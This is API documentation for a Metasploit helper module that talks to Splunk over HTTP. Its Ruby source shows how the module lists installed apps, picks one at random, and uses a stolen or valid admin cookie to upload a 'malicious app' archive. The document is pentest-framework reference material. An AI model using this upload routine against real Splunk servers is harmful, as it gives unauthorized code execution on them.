Module: Msf::Exploit::Remote::HTTP::Splunk::Apps

Included in:
Msf::Exploit::Remote::HTTP::Splunk
Defined in:
lib/msf/core/exploit/remote/http/splunk/apps.rb

Overview

This module provides a way of interacting with Splunk apps

Instance Method Summary collapse

Instance Method Details

#get_apps(cookie) ⇒ Hash

Retrieves a list of installed Splunk apps along with their status

Parameters:

  • cookie (String) —

    Valid admin's cookie

Returns:

  • (Hash) —

    A hash where keys are app names and values are hashes with app status



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# File 'lib/msf/core/exploit/remote/http/splunk/apps.rb', line 55

def get_apps(cookie)
  apps = {}
  vars_get = {}

  max_pages = 250
  max_pages.times do |page_num|
    res = send_request_cgi(
      'uri' => splunk_apps_url,
      'method' => 'GET',
      'cookie' => cookie,
      'vars_get' => vars_get
    )

    unless res&.code == 200
      fail_with(Msf::Module::Failure::UnexpectedReply, "#{peer} - Failed to retrieve apps (HTTP #{res&.code})")
    end

    html = res.get_html_document
    table = html.at('table.splTable')
    break unless table

    table.css('tr').each do |row|
      name_td = row.at('td.col-generic.col-2')
      status_td = row.at('td.col-status.col-7')

      next unless name_td && status_td

      status_link = status_td.at('a[onclick*="doObjectAction"]')
      action_type = status_link&.[]('onclick')&.slice(/doObjectAction\('(disable|enable)'/, 1)
      enabled = action_type != 'enable'

      name = name_td.text.strip
      apps[name] = { enabled: enabled }
    end

    vars_get = extract_next_page_vars(html)
    break unless vars_get

    if page_num == max_pages - 1
      print_warning("Reached maximum page limit (#{max_pages}). Some apps might be missing.")
    end
  end

  apps
end

#get_random_app(cookie, filter = {}) ⇒ String?

Selects a random Splunk app from the installed apps, optionally filtered by criteria

Parameters:

  • cookie (String) —

    Valid admin's cookie

  • filter (Hash) (defaults to: {}) —

    Optional filter criteria (e.g., status: 'enabled')

Returns:

  • (String, nil) —

    The name of a random app matching the filter, or nil if none found



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# File 'lib/msf/core/exploit/remote/http/splunk/apps.rb', line 106

def get_random_app(cookie, filter = {})
  all_apps = get_apps(cookie)
  filtered_apps = filter_apps(all_apps, filter).keys

  filtered_apps.sample
end

#splunk_upload_app(app_name, cookie) ⇒ Boolean

Uploads malicious app to splunk using admin cookie

Parameters:

  • app_name (String) —

    Name of the app to upload

  • cookie (String) —

    Valid admin's cookie

Returns:

  • (Boolean) —

    true on success, false on error



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# File 'lib/msf/core/exploit/remote/http/splunk/apps.rb', line 10

def splunk_upload_app(app_name, cookie)
  res = send_request_cgi({
    'uri' => splunk_upload_url,
    'method' => 'GET',
    'cookie' => cookie
  })

  unless res&.code == 200
    vprint_error('Unable to get form state')
    return false
  end

  html = res.get_html_document

  data = Rex::MIME::Message.new
  # fill the hidden fields from the form: state and splunk_form_key
  html.at('[id="installform"]').elements.each do |form|
    next unless form.attributes['value']

    data.add_part(form.attributes['value'].to_s, nil, nil, "form-data; name=\"#{form.attributes['name']}\"")
  end
  data.add_part('1', nil, nil, 'form-data; name="force"')
  data.add_part(splunk_helper_malicious_app(app_name), 'application/gzip', 'binary', "form-data; name=\"appfile\"; filename=\"#{app_name}.tar.gz\"")
  post_data = data.to_s

  res = send_request_cgi({
    'uri' => splunk_upload_url,
    'method' => 'POST',
    'cookie' => cookie,
    'ctype' => "multipart/form-data; boundary=#{data.bound}",
    'data' => post_data
  })

  unless (res&.code == 303 || (res.code == 200 && res.body !~ /There was an error processing the upload/))
    vprint_error('Error uploading App')
    return false
  end

  true
end